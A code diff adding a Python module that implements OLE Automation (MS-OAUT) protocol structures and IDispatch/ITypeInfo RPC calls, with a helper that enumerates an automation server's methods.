+IID_ITypeComp = string_to_bin('00020403-0000-0000-C000-000000000046')
+IID_NULL      = string_to_bin('00000000-0000-0000-0000-000000000000')
+
+error_status_t = ULONG
+
+LCID = DWORD
+WORD = NDRUSHORT
+
+# 2.2.2 IID
+IID = GUID
+
+# 2.2.3 LPOLESTR
+LPOLESTR = LPWSTR
+OLESTR = WSTR
+
+# 2.2.4 REFIID
+REFIID = IID
+
+# 2.2.25 DATE
+DATE = DOUBLE
+class PDATE(NDRPOINTER):
+    referent = (
+        ('Data', DATE),
+    )
+
+# 2.2.27 VARIANT_BOOL
+VARIANT_BOOL = USHORT
+
+class PVARIANT_BOOL(NDRPOINTER):
+    referent = (
+        ('Data', VARIANT_BOOL),
+    )
+
+# 3.1.4.4 IDispatch::Invoke (Opnum 6)
+# dwFlags
+DISPATCH_METHOD         = 0x00000001
+DISPATCH_PROPERTYGET    = 0x00000002
+DISPATCH_PROPERTYPUT    = 0x00000004
+DISPATCH_PROPERTYPUTREF = 0x00000008
+DISPATCH_zeroVarResult  = 0x00020000
+DISPATCH_zeroExcepInfo  = 0x00040000
+DISPATCH_zeroArgErr     = 0x00080000
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.26 DECIMAL
+class DECIMAL(NDRSTRUCT):
+    structure = (
+        ('wReserved',WORD),
+        ('scale',BYTE),
+        ('sign',BYTE),
+        ('Hi32',ULONG),
+        ('Lo64',ULONGLONG),
+    )
+
+class PDECIMAL(NDRPOINTER):
+    referent = (
+        ('Data', DECIMAL),
+    )
+
+# 2.2.7 VARIANT Type Constants
+class VARENUM(NDRENUM):
+    class enumItems(Enum):
+        VT_EMPTY       = 0
+        VT_NULL        = 1
+        VT_I2          = 2
+        VT_I4          = 3
+        VT_R4          = 4
+        VT_R8          = 5
+        VT_CY          = 6
+        VT_DATE        = 7
+        VT_BSTR        = 8
+        VT_DISPATCH    = 9
+        VT_ERROR       = 0xa
+        VT_BOOL        = 0xb
+        VT_VARIANT     = 0xc
+        VT_UNKNOWN     = 0xd
+        VT_DECIMAL     = 0xe
+        VT_I1          = 0x10
+        VT_UI1         = 0x11
+        VT_UI2         = 0x12
+        VT_UI4         = 0x13
+        VT_I8          = 0x14
+        VT_UI8         = 0x15
+        VT_INT         = 0x16
+        VT_UINT        = 0x17
+        VT_VOID        = 0x18
+        VT_HRESULT     = 0x19
+        VT_PTR         = 0x1a
+        VT_SAFEARRAY   = 0x1b
+        VT_CARRAY      = 0x1c
+        VT_USERDEFINED = 0x1d
+        VT_LPSTR       = 0x1e
+        VT_LPWSTR      = 0x1f
+        VT_RECORD      = 0x24
+        VT_INT_PTR     = 0x25
+        VT_UINT_PTR    = 0x26
+        VT_ARRAY       = 0x2000
+        VT_BYREF       = 0x4000
+        VT_RECORD_OR_VT_BYREF   = VT_RECORD | VT_BYREF
+        VT_UI1_OR_VT_BYREF      = VT_UI1 | VT_BYREF
+        VT_I2_OR_VT_BYREF       = VT_I2 | VT_BYREF
+        VT_I4_OR_VT_BYREF       = VT_I4 | VT_BYREF
+        VT_I8_OR_VT_BYREF       = VT_I8 | VT_BYREF
+        VT_R4_OR_VT_BYREF       = VT_R4 | VT_BYREF
+        VT_R8_OR_VT_BYREF       = VT_R8 | VT_BYREF
+        VT_BOOL_OR_VT_BYREF     = VT_BOOL | VT_BYREF
+        VT_ERROR_OR_VT_BYREF    = VT_ERROR | VT_BYREF
+        VT_CY_OR_VT_BYREF       = VT_CY | VT_BYREF
+        VT_DATE_OR_VT_BYREF     = VT_DATE | VT_BYREF
+        VT_BSTR_OR_VT_BYREF     = VT_BSTR | VT_BYREF
+        VT_UNKNOWN_OR_VT_BYREF  = VT_UNKNOWN | VT_BYREF
+        VT_DISPATCH_OR_VT_BYREF = VT_DISPATCH | VT_BYREF
+        VT_ARRAY_OR_VT_BYREF    = VT_ARRAY | VT_BYREF
+        VT_VARIANT_OR_VT_BYREF  = VT_VARIANT| VT_BYREF
+        VT_I1_OR_VT_BYREF       = VT_I1 | VT_BYREF
+        VT_UI2_OR_VT_BYREF      = VT_UI2 | VT_BYREF
+        VT_UI4_OR_VT_BYREF      = VT_UI4 | VT_BYREF
+        VT_UI8_OR_VT_BYREF      = VT_UI8 | VT_BYREF
+        VT_INT_OR_VT_BYREF      = VT_INT | VT_BYREF
+        VT_UINT_OR_VT_BYREF     = VT_UINT | VT_BYREF
+        VT_DECIMAL_OR_VT_BYREF  = VT_DECIMAL | VT_BYREF
+
+# 2.2.8 SAFEARRAY Feature Constants
+class SF_TYPE(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        SF_ERROR     = VARENUM.VT_ERROR
+        SF_I1        = VARENUM.VT_I1
+        SF_I2        = VARENUM.VT_I2
+        SF_I4        = VARENUM.VT_I4
+        SF_I8        = VARENUM.VT_I8
+        SF_BSTR      = VARENUM.VT_BSTR
+        SF_UNKNOWN   = VARENUM.VT_UNKNOWN
+        SF_DISPATCH  = VARENUM.VT_DISPATCH
+        SF_VARIANT   = VARENUM.VT_VARIANT
+        SF_RECORD    = VARENUM.VT_RECORD
+        SF_HAVEIID   = VARENUM.VT_UNKNOWN | 0x8000
+
+# 2.2.10 CALLCONV Calling Convention Constants
+class CALLCONV(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        CC_CDECL   = 1
+        CC_PASCAL  = 2
+        CC_STDCALL = 4
+
+
+# 2.2.12 FUNCKIND Function Access Constants
+class FUNCKIND(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        FUNC_PUREVIRTUAL = 1
+        FUNC_STATIC      = 3
+        FUNC_DISPATCH    = 4
+
+# 2.2.14 INVOKEKIND Function Invocation Constants
+class INVOKEKIND(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        INVOKE_FUNC           = 1
+        INVOKE_PROPERTYGET    = 2
+        INVOKE_PROPERTYPUT    = 4
+        INVOKE_PROPERTYPUTREF = 8
+
+# 2.2.17 TYPEKIND Type Kind Constants
+class TYPEKIND(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        TKIND_ENUM      = 0
+        TKIND_RECORD    = 1
+        TKIND_MODULE    = 2
+        TKIND_INTERFACE = 3
+        TKIND_DISPATCH  = 4
+        TKIND_COCLASS   = 5
+        TKIND_ALIAS     = 6
+        TKIND_UNION     = 7
+
+# 2.2.23 BSTR
+# 2.2.23.1 FLAGGED_WORD_BLOB
+class USHORT_ARRAY(NDRUniConformantArray):
+    item = '<H'
+
+class FLAGGED_WORD_BLOB(NDRSTRUCT):
+    structure = (
+        ('cBytes',ULONG),
+        ('clSize',ULONG),
+        ('asData',USHORT_ARRAY),
+    )
+    def __setitem__(self, key, value):
+        if key == 'asData':
+            value = value #+ '\x00'
+            array = list()
+            for letter in value:
+                encoded = letter.encode('utf-16le')
+                array.append(unpack('<H', encoded)[0])
+            self.fields[key]['Data'] = array
+            self['cBytes'] = len(value)*2
+            self['clSize'] = len(value)
+            self.data = None        # force recompute
+        else:
+            return NDRSTRUCT.__setitem__(self, key, value)
+
+    def __getitem__(self, key):
+        if key == 'asData':
+            value = ''
+            for letter in self.fields['asData']['Data']:
+                value += pack('<H', letter).decode('utf-16le')
+            return value
+        else:
+            return NDRSTRUCT.__getitem__(self,key)
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None: msg = self.__class__.__name__
+        ind = ' '*indent
+        if msg != '':
+            print("%s" % (msg))
+        value = ''
+        print('%sasData: %s' % (ind,self['asData']), end=' ')
+
+# 2.2.23.2 BSTR Type Definition
+class BSTR(NDRPOINTER):
+    referent = (
+        ('Data', FLAGGED_WORD_BLOB),
+    )
+
+class PBSTR(NDRPOINTER):
+    referent = (
+        ('Data', BSTR),
+    )
+
+# 2.2.24 CURRENCY
+class CURRENCY(NDRSTRUCT):
+    structure = (
+        ('int64', LONGLONG),
+    )
+
+class PCURRENCY(NDRPOINTER):
+    referent = (
+        ('Data', CURRENCY),
+    )
+
+# 2.2.28.2 BRECORD
+# 2.2.28.2.1 _wireBRECORD
+class _wireBRECORD(NDRSTRUCT):
+    structure = (
+        ('fFlags', LONGLONG),
+        ('clSize', LONGLONG),
+        ('pRecInfo', MInterfacePointer),
+        ('pRecord', BYTE_ARRAY),
+    )
+
+class BRECORD(NDRPOINTER):
+    referent = (
+        ('Data', _wireBRECORD),
+    )
+
+# 2.2.30 SAFEARRAY
+# 2.2.30.1 SAFEARRAYBOUND
+class SAFEARRAYBOUND(NDRSTRUCT):
+    structure = (
+        ('cElements', ULONG),
+        ('lLbound', LONG),
+    )
+
+class PSAFEARRAYBOUND(NDRPOINTER):
+    referent = (
+        ('Data', SAFEARRAYBOUND),
+    )
+
+# 2.2.30.2 SAFEARR_BSTR
+class BSTR_ARRAY(NDRUniConformantArray):
+    item = BSTR
+
+class PBSTR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', BSTR_ARRAY),
+    )
+
+class SAFEARR_BSTR(NDRSTRUCT):
+    structure = (
+        ('Size', ULONG),
+        ('aBstr', PBSTR_ARRAY),
+    )
+
+# 2.2.30.3 SAFEARR_UNKNOWN
+class SAFEARR_UNKNOWN(NDRSTRUCT):
+    structure = (
+        ('Size', ULONG),
+        ('apUnknown', MInterfacePointer_ARRAY),
+    )
+
+# 2.2.30.4 SAFEARR_DISPATCH
+class SAFEARR_DISPATCH(NDRSTRUCT):
+    structure = (
+        ('Size', ULONG),
+        ('apDispatch', MInterfacePointer_ARRAY),
+    )
+
+# 2.2.30.6 SAFEARR_BRECORD
+class BRECORD_ARRAY(NDRUniConformantArray):
+    item = BRECORD
+
+class SAFEARR_BRECORD(NDRSTRUCT):
+    structure = (
+        ('Size', ULONG),
+        ('aRecord', BRECORD_ARRAY),
+    )
+
+# 2.2.30.7 SAFEARR_HAVEIID
+class SAFEARR_HAVEIID(NDRSTRUCT):
+    structure = (
+        ('Size', ULONG),
+        ('apUnknown', MInterfacePointer_ARRAY),
+        ('iid', IID),
+    )
+
+# 2.2.30.8 Scalar-Sized Arrays
+# 2.2.30.8.1 BYTE_SIZEDARR
+class BYTE_SIZEDARR(NDRSTRUCT):
+    structure = (
+        ('clSize', ULONG),
+        ('pData', BYTE_ARRAY),
+    )
+
+# 2.2.30.8.2 WORD_SIZEDARR
+class WORD_ARRAY(NDRUniConformantArray):
+    item = '<H'
+
+class WORD_SIZEDARR(NDRSTRUCT):
+    structure = (
+        ('clSize', ULONG),
+        ('pData', WORD_ARRAY),
+    )
+
+# 2.2.30.8.3 DWORD_SIZEDARR
+class DWORD_ARRAY(NDRUniConformantArray):
+    item = '<L'
+
+class DWORD_SIZEDARR(NDRSTRUCT):
+    structure = (
+        ('clSize', ULONG),
+        ('pData', DWORD_ARRAY),
+    )
+
+# 2.2.30.8.4 HYPER_SIZEDARR
+class HYPER_ARRAY(NDRUniConformantArray):
+    item = '<Q'
+
+class HYPER_SIZEDARR(NDRSTRUCT):
+    structure = (
+        ('clSize', ULONG),
+        ('pData', HYPER_ARRAY),
+    )
+
+
+# 2.2.36 HREFTYPE
+HREFTYPE = DWORD
+
+# 2.2.30.5 SAFEARR_VARIANT
+class VARIANT_ARRAY(NDRUniConformantArray):
+    # In order to avoid the lack of forward declarations in Python
+    # I declare the item in the constructor
+    #item = VARIANT
+    def __init__(self, data = None, isNDR64 = False):
+        NDRUniConformantArray.__init__(self, data, isNDR64)
+        self.item = VARIANT
+
+class PVARIANT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', VARIANT_ARRAY),
+    )
+
+class PVARIANT(NDRPOINTER):
+    # In order to avoid the lack of forward declarations in Python
+    # I declare the item in the constructor
+    #referent = (
+    #    ('Data', VARIANT),
+    #)
+    def __init__(self, data = None, isNDR64 = False):
+        NDRPOINTER.__init__(self, data, isNDR64)
+        self.referent = ( ('Data', VARIANT),)
+
+
+class SAFEARR_VARIANT(NDRSTRUCT):
+    structure = (
+        ('Size', ULONG),
+        ('aVariant', VARIANT_ARRAY),
+    )
+
+# 2.2.30.9 SAFEARRAYUNION
+class SAFEARRAYUNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        SF_TYPE.SF_BSTR     : ('BstrStr', SAFEARR_BSTR),
+        SF_TYPE.SF_UNKNOWN  : ('UnknownStr', SAFEARR_UNKNOWN),
+        SF_TYPE.SF_DISPATCH : ('DispatchStr', SAFEARR_DISPATCH),
+        SF_TYPE.SF_VARIANT  : ('VariantStr', SAFEARR_VARIANT),
+        SF_TYPE.SF_RECORD   : ('RecordStr', SAFEARR_BRECORD),
+        SF_TYPE.SF_HAVEIID  : ('HaveIidStr', SAFEARR_HAVEIID),
+        SF_TYPE.SF_I1       : ('ByteStr', BYTE_SIZEDARR),
+        SF_TYPE.SF_I2       : ('WordStr', WORD_SIZEDARR),
+        SF_TYPE.SF_I4       : ('LongStr', DWORD_SIZEDARR),
+        SF_TYPE.SF_I8       : ('HyperStr', HYPER_SIZEDARR),
+    }
+
+# 2.2.30.10 SAFEARRAY
+class SAFEARRAYBOUND_ARRAY(NDRUniConformantArray):
+    item = SAFEARRAYBOUND
+
+class PSAFEARRAYBOUND_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SAFEARRAYBOUND_ARRAY),
+    )
+
+class SAFEARRAY(NDRSTRUCT):
+    structure = (
+        ('cDims', USHORT),
+        ('fFeatures', USHORT),
+        ('cbElements', ULONG),
+        ('cLocks', ULONG),
+        ('uArrayStructs', SAFEARRAYUNION),
+        ('rgsabound', SAFEARRAYBOUND_ARRAY),
+    )
+
+class PSAFEARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SAFEARRAY),
+    )
+
+# 2.2.29 VARIANT
+# 2.2.29.1 _wireVARIANT
+class EMPTY(NDR):
+    align = 0
+    structure = (
+    )
+
+class varUnion(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        VARENUM.VT_I8                  : ('llVal', LONGLONG),
+        VARENUM.VT_I4                  : ('lVal', LONG),
+        VARENUM.VT_UI1                 : ('bVal', BYTE),
+        VARENUM.VT_I2                  : ('iVal', SHORT),
+        VARENUM.VT_R4                  : ('fltVal', FLOAT),
+        VARENUM.VT_R8                  : ('dblVal', DOUBLE),
+        VARENUM.VT_BOOL                : ('boolVal', VARIANT_BOOL),
+        VARENUM.VT_ERROR               : ('scode', HRESULT),
+        VARENUM.VT_CY                  : ('cyVal', CURRENCY),
+        VARENUM.VT_DATE                : ('date', DATE),
+        VARENUM.VT_BSTR                : ('bstrVal', BSTR),
+        VARENUM.VT_UNKNOWN             : ('punkVal', PMInterfacePointer),
+        VARENUM.VT_DISPATCH            : ('pdispVal', PMInterfacePointer),
+        VARENUM.VT_ARRAY               : ('parray', SAFEARRAY),
+        VARENUM.VT_RECORD              : ('brecVal', BRECORD),
+        VARENUM.VT_RECORD_OR_VT_BYREF  : ('brecVal', BRECORD),
+        VARENUM.VT_UI1_OR_VT_BYREF     : ('pbVal', BYTE),
+        VARENUM.VT_I2_OR_VT_BYREF      : ('piVal', PSHORT),
+        VARENUM.VT_I4_OR_VT_BYREF      : ('plVal', PLONG),
+        VARENUM.VT_I8_OR_VT_BYREF      : ('pllVal', PLONGLONG),
+        VARENUM.VT_R4_OR_VT_BYREF      : ('pfltVal', PFLOAT),
+        VARENUM.VT_R8_OR_VT_BYREF      : ('pdblVal', PDOUBLE),
+        VARENUM.VT_BOOL_OR_VT_BYREF    : ('pboolVal', PVARIANT_BOOL),
+        VARENUM.VT_ERROR_OR_VT_BYREF   : ('pscode', PHRESULT),
+        VARENUM.VT_CY_OR_VT_BYREF      : ('pcyVal', PCURRENCY),
+        VARENUM.VT_DATE_OR_VT_BYREF    : ('pdate', PDATE),
+        VARENUM.VT_BSTR_OR_VT_BYREF    : ('pbstrVal', PBSTR),
+        VARENUM.VT_UNKNOWN_OR_VT_BYREF : ('ppunkVal', PPMInterfacePointer),
+        VARENUM.VT_DISPATCH_OR_VT_BYREF: ('ppdispVal', PPMInterfacePointer),
+        VARENUM.VT_ARRAY_OR_VT_BYREF   : ('pparray', PSAFEARRAY),
+        VARENUM.VT_VARIANT_OR_VT_BYREF : ('pvarVal', PVARIANT),
+        VARENUM.VT_I1                  : ('cVal', CHAR),
+        VARENUM.VT_UI2                 : ('uiVal', USHORT),
+        VARENUM.VT_UI4                 : ('ulVal', ULONG),
+        VARENUM.VT_UI8                 : ('ullVal', ULONGLONG),
+        VARENUM.VT_INT                 : ('intVal', INT),
+        VARENUM.VT_UINT                : ('uintVal', UINT),
+        VARENUM.VT_DECIMAL             : ('decVal', DECIMAL),
+        VARENUM.VT_I1_OR_VT_BYREF      : ('pcVal', PCHAR),
+        VARENUM.VT_UI2_OR_VT_BYREF     : ('puiVal', PUSHORT),
+        VARENUM.VT_UI4_OR_VT_BYREF     : ('pulVal', PULONG),
+        VARENUM.VT_UI8_OR_VT_BYREF     : ('pullVal', PULONGLONG),
+        VARENUM.VT_INT_OR_VT_BYREF     : ('pintVal', PINT),
+        VARENUM.VT_UINT_OR_VT_BYREF    : ('puintVal', PUINT),
+        VARENUM.VT_DECIMAL_OR_VT_BYREF : ('pdecVal', PDECIMAL),
+        VARENUM.VT_EMPTY               : ('empty', EMPTY),
+        VARENUM.VT_NULL                : ('null', EMPTY),
+    }
+
+class wireVARIANTStr(NDRSTRUCT):
+    structure = (
+        ('clSize',DWORD),
+        ('rpcReserved',DWORD),
+        ('vt',USHORT),
+        ('wReserved1',USHORT),
+        ('wReserved2',USHORT),
+        ('wReserved3',USHORT),
+        ('_varUnion',varUnion),
+    )
+
+    def getAlignment(self):
+        return 8
+
+class VARIANT(NDRPOINTER):
+    referent = (
+        ('Data', wireVARIANTStr),
+    )
+
+class PVARIANT(NDRPOINTER):
+    referent = (
+        ('Data', VARIANT),
+    )
+
+# 2.2.32 DISPID
+DISPID = LONG
+
+# 2.2.33 DISPPARAMS
+class DISPID_ARRAY(NDRUniConformantArray):
+    item = '<L'
+
+class PDISPID_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DISPID_ARRAY),
+    )
+
+class DISPPARAMS(NDRSTRUCT):
+    structure = (
+        ('rgvarg',PVARIANT_ARRAY),
+        ('rgdispidNamedArgs', PDISPID_ARRAY),
+        ('cArgs', UINT),
+        ('cNamedArgs', UINT),
+    )
+
+# 2.2.34 EXCEPINFO
+class EXCEPINFO(NDRSTRUCT):
+    structure = (
+        ('wCode',WORD),
+        ('wReserved', WORD),
+        ('bstrSource', BSTR),
+        ('bstrDescription', BSTR),
+        ('bstrHelpFile', BSTR),
+        ('dwHelpContext', DWORD),
+        ('pvReserved', ULONG),
+        ('pfnDeferredFillIn', ULONG),
+        ('scode', HRESULT),
+    )
+
+# 2.2.35 MEMBERID
+MEMBERID = DISPID
+
+# 2.2.38 ARRAYDESC
+class ARRAYDESC(NDRSTRUCT):
+    # In order to avoid the lack of forward declarations in Python
+    # I declare the item in the constructor
+    #structure = (
+    #    ('tdescElem',TYPEDESC),
+    #    ('cDims',USHORT),
+    #    ('rgbounds',SAFEARRAYBOUND_ARRAY),
+    #)
+    def __init__(self, data = None, isNDR64 = False):
+        NDRSTRUCT.__init__(self, data, isNDR64)
+        self.structure = (
+            ('tdescElem',TYPEDESC),
+            ('cDims',USHORT),
+            ('rgbounds',SAFEARRAYBOUND_ARRAY),
+        )
+
+# 2.2.37 TYPEDESC
+class tdUnion(NDRUNION):
+    notAlign = True
+    commonHdr = (
+        ('tag', USHORT),
+    )
+    # In order to avoid the lack of forward declarations in Python
+    # I declare the item in the constructor
+    #union = {
+    #    VARENUM.VT_PTR: ('lptdesc', tdUnion),
+    #    VARENUM.VT_SAFEARRAY: ('lptdesc', tdUnion),
+    #    VARENUM.VT_CARRAY: ('lpadesc', ARRAYDESC),
+    #    VARENUM.VT_USERDEFINED: ('hreftype', HREFTYPE),
+    #}
+    def __init__(self, data = None, isNDR64=False, topLevel = False):
+        NDRUNION.__init__(self,None, isNDR64=isNDR64, topLevel=topLevel)
+        self.union = {
+            VARENUM.VT_PTR: ('lptdesc', PTYPEDESC),
+            VARENUM.VT_SAFEARRAY: ('lptdesc', PTYPEDESC),
+            VARENUM.VT_CARRAY: ('lpadesc', ARRAYDESC),
+            VARENUM.VT_USERDEFINED: ('hreftype', HREFTYPE),
+            'default': None,
+        }
+
+class TYPEDESC(NDRSTRUCT):
+    structure = (
+        ('vtType',tdUnion),
+        ('vt', VARENUM),
+    )
+
+    def getAlignment(self):
+        return 4
+
+class PTYPEDESC(NDRPOINTER):
+    referent = (
+        ('Data', TYPEDESC),
+    )
+    def __init__(self, data = None, isNDR64=False, topLevel = False):
+        ret = NDRPOINTER.__init__(self,None, isNDR64=isNDR64, topLevel = False)
+        # We're forcing the pointer not to be topLevel
+        if data is None:
+            self.fields['ReferentID'] = random.randint(1,65535)
+        else:
+           self.fromString(data)
+
+
+# 2.2.48 SCODE
+SCODE = LONG
+
+class SCODE_ARRAY(NDRUniConformantArray):
+    item = SCODE
+
+class PSCODE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SCODE_ARRAY),
+    )
+
+# 2.2.39 PARAMDESCEX
+class PARAMDESCEX(NDRSTRUCT):
+    structure = (
+        ('cBytes',ULONG),
+        ('varDefaultValue',VARIANT),
+    )
+
+class PPARAMDESCEX(NDRPOINTER):
+    referent = (
+        ('Data', PARAMDESCEX),
+    )
+
+
+# 2.2.40 PARAMDESC
+class PARAMDESC(NDRSTRUCT):
+    structure = (
+        ('pparamdescex',PPARAMDESCEX),
+        ('wParamFlags',USHORT),
+    )
+
+# 2.2.41 ELEMDESC
+class ELEMDESC(NDRSTRUCT):
+    structure = (
+        ('tdesc',TYPEDESC),
+        ('paramdesc',PARAMDESC),
+    )
+
+class ELEMDESC_ARRAY(NDRUniConformantArray):
+    item = ELEMDESC
+
+class PELEMDESC_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', ELEMDESC_ARRAY),
+    )
+
+# 2.2.42 FUNCDESC
+class FUNCDESC(NDRSTRUCT):
+    structure = (
+        ('memid',MEMBERID),
+        ('lReserved1',PSCODE_ARRAY),
+        ('lprgelemdescParam',PELEMDESC_ARRAY),
+        ('funckind',FUNCKIND),
+        ('invkind',INVOKEKIND),
+        ('callconv',CALLCONV),
+        ('cParams',SHORT),
+        ('cParamsOpt',SHORT),
+        ('oVft',SHORT),
+        ('cReserved2',SHORT),
+        ('elemdescFunc',ELEMDESC),
+        ('wFuncFlags',WORD),
+    )
+
+class LPFUNCDESC(NDRPOINTER):
+    referent = (
+        ('Data', FUNCDESC),
+    )
+# 2.2.44 TYPEATTR
+class TYPEATTR(NDRSTRUCT):
+    structure = (
+        ('guid',GUID),
+        ('lcid',LCID),
+        ('dwReserved1',DWORD),
+        ('dwReserved2',DWORD),
+        ('dwReserved3',DWORD),
+        ('lpstrReserved4',LPOLESTR),
+        ('cbSizeInstance',ULONG),
+        ('typeKind',TYPEKIND),
+        ('cFuncs',WORD),
+        ('cVars',WORD),
+        ('cImplTypes',WORD),
+        ('cbSizeVft',WORD),
+        ('cbAlignment',WORD),
+        ('wTypeFlags',WORD),
+        ('wMajorVerNum',WORD),
+        ('wMinorVerNum',WORD),
+        ('tdescAlias',TYPEDESC),
+        ('dwReserved5',DWORD),
+        ('dwReserved6',WORD),
+    )
+
+class PTYPEATTR(NDRPOINTER):
+    referent = (
+        ('Data', TYPEATTR),
+    )
+
+class BSTR_ARRAY_CV(NDRUniConformantVaryingArray):
+    item = BSTR
+
+class UINT_ARRAY(NDRUniConformantArray):
+    item = '<L'
+
+class OLESTR_ARRAY(NDRUniConformantArray):
+    item = LPOLESTR
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.1 IDispatch::GetTypeInfoCount (Opnum 3)
+class IDispatch_GetTypeInfoCount(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('pwszMachineName', LPWSTR),
+    )
+
+class IDispatch_GetTypeInfoCountResponse(DCOMANSWER):
+    structure = (
+       ('pctinfo', ULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2 IDispatch::GetTypeInfo (Opnum 4)
+class IDispatch_GetTypeInfo(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('iTInfo', ULONG),
+       ('lcid', DWORD),
+    )
+
+class IDispatch_GetTypeInfoResponse(DCOMANSWER):
+    structure = (
+       ('ppTInfo', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3 IDispatch::GetIDsOfNames (Opnum 5)
+class IDispatch_GetIDsOfNames(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('riid', REFIID),
+       ('rgszNames', OLESTR_ARRAY),
+       ('cNames', UINT),
+       ('lcid', LCID),
+    )
+
+class IDispatch_GetIDsOfNamesResponse(DCOMANSWER):
+    structure = (
+       ('rgDispId', DISPID_ARRAY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4 IDispatch::Invoke (Opnum 6)
+class IDispatch_Invoke(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('dispIdMember', DISPID),
+       ('riid', REFIID),
+       ('lcid', LCID),
+       ('dwFlags', DWORD),
+       ('pDispParams', DISPPARAMS),
+       ('cVarRef', UINT),
+       ('rgVarRefIdx', UINT_ARRAY),
+       ('rgVarRef', VARIANT_ARRAY),
+    )
+
+class IDispatch_InvokeResponse(DCOMANSWER):
+    structure = (
+       ('pVarResult', VARIANT),
+       ('pExcepInfo', EXCEPINFO),
+       ('pArgErr', UINT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.7.4.1 ITypeInfo::GetTypeAttr (Opnum 3)
+class ITypeInfo_GetTypeAttr(DCOMCALL):
+    opnum = 3
+    structure = (
+    )
+
+class ITypeInfo_GetTypeAttrResponse(DCOMANSWER):
+    structure = (
+       ('ppTypeAttr', PTYPEATTR),
+       ('pReserved', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.7.4.2 ITypeInfo::GetTypeComp (Opnum 4)
+class ITypeInfo_GetTypeComp(DCOMCALL):
+    opnum = 4
+    structure = (
+    )
+
+class ITypeInfo_GetTypeCompResponse(DCOMANSWER):
+    structure = (
+       ('ppTComp', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.7.4.3 ITypeInfo::GetFuncDesc (Opnum 5)
+class ITypeInfo_GetFuncDesc(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('index', UINT),
+    )
+
+class ITypeInfo_GetFuncDescResponse(DCOMANSWER):
+    structure = (
+       ('ppFuncDesc', LPFUNCDESC),
+       ('pReserved', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.7.4.5 ITypeInfo::GetNames (Opnum 7)
+class ITypeInfo_GetNames(DCOMCALL):
+    opnum = 7
+    structure = (
+       ('memid', MEMBERID),
+       ('cMaxNames', UINT),
+    )
+
+class ITypeInfo_GetNamesResponse(DCOMANSWER):
+    structure = (
+       ('rgBstrNames', BSTR_ARRAY_CV),
+       ('pcNames', UINT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.7.4.8 ITypeInfo::GetDocumentation (Opnum 12)
+class ITypeInfo_GetDocumentation(DCOMCALL):
+    opnum = 12
+    structure = (
+       ('memid', MEMBERID),
+       ('refPtrFlags', DWORD),
+    )
+
+class ITypeInfo_GetDocumentationResponse(DCOMANSWER):
+    structure = (
+       ('pBstrName', BSTR),
+       ('pBstrDocString', BSTR),
+       ('pdwHelpContext', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+}
+
+################################################################################
+# HELPER FUNCTIONS AND INTERFACES
+################################################################################
+# 4.8.5 Enumerating All Methods in an Interface
+# INPUT: IDispatch pointer from the automation server
+# CALL IDispatch::GetTypeInfoCount and OBTAIN pcTInfo
+# COMMENT see Section 3.1.4.1 for information on pcTInfo i
+# IF pcTInfo = 0 THEN
+#     PRINT Automation Server does not support type information for this object
+# ELSE
+#     CALL IDispatch::GetTypeInfo with correct LocaleID and OBTAIN ITypeInfo pointer
+#     CALL ITypeInfo::GetDocumentation(MEMBERID_NIL, 1, &BstrName, NULL, NULL, NULL)
+#     PRINT Name of the Interface is BstrName
+#     CALL ITypeInfo::GetTypeAttr and OBTAIN TYPEATTR pointer
+#
+#     FOR X = 0 to TYPEATTR:: cFuncs -1
+#         CALL ITypeInfo::GetFuncDesc with X and OBTAIN FUNCDESC pointer
+#         CALL ITypeInfo::GetNames with FUNCDESC::memid and appropriate values for
+#             rgBstrNames, cMaxNames and pcNames
+#         COMMENT see Section 3.7.4.5 for more information regarding the parameters
+#                 to ITypeinfo::GetNames
+#         IF pcNames > 0 THEN
+#             PRINT Name of the method is rgBstrNames[0]
+#             PRINT Parameters to above method are following
+#             FOR Y = 1 to pcNames -1
+#                 PRINT rgBstrNames[Y]
+#             END FOR
+#         END IF
+#     END FOR i
+# ENDIF
+def enumerateMethods(iInterface):
+    methods = dict()
+    typeInfoCount = iInterface.GetTypeInfoCount()
+    if typeInfoCount['pctinfo'] == 0:
+        LOG.error('Automation Server does not support type information for this object')
+        return {}
+    iTypeInfo = iInterface.GetTypeInfo()
+    iTypeAttr = iTypeInfo.GetTypeAttr()
+    for x in range(iTypeAttr['ppTypeAttr']['cFuncs']):
+        funcDesc = iTypeInfo.GetFuncDesc(x)
+        names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255)
+        print(names['rgBstrNames'][0]['asData'])
